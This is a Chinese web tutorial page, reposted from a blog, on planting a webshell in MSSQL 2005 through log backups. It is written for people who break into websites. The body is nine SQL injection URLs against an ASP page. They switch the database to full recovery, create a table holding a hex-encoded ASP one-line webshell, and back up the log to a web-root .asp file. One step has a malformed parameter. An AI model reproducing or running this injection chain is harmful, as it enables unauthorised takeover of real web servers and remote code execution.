当前位置: 首页 > 图文教程 > 数据库 > MSSQL > MSSQL 2005 LOG备份webshell的方法

MSSQL
SQL 实用语句
SQL Server 版本变更检查 警告
创建动态MSSQL数据库表
常用SQL功能语句
table 行转列的sql详解
三步堵死 SQL Server注入漏洞
sql 去零函数 datagridview中数字类型常出现后面的零不能去掉
insert into tbl() select * from tb2中加入多个条件
Sql Server 字符串聚合函数
通过备份记录获取数据库的增长情况
sqlserver 2000 远程连接 服务器的解决方案
SQL 合并多行记录的方法总汇
批处理 动态sql
在sp_executesql中使用like字句的方法
SQL中的left join right join
Sql Server 数据库索引整理语句,自动整理数据库索引
查询数据排名情况SQL
sqlserver 比较两个表的列
mssql 两表合并sql语句
SQL SERVER 文件和文件组

MSSQL 2005 LOG备份webshell的方法


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 85 ::
收藏到网摘: n/a

各位拿站的朋友。是不是感觉到现在mssql2000一部分都升级到mssql2005了,目前网络上大多数log备份和差异备份WebShell都针对sql2000的数据库而开发的。那么碰到2005的数据库怎么办呢。不用急,请按照以下方式继续可以拿到webshell。 注:转载就注入出自'孤孤浪子博客'原创
http://itpro.blog.163.com
第一步
http://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--
第二步:
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
第三步
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
第四步
http://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--
第五步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
第六步
http://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--
第七步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
第八步
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
第九步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
By:孤狐浪子 QQ:393214425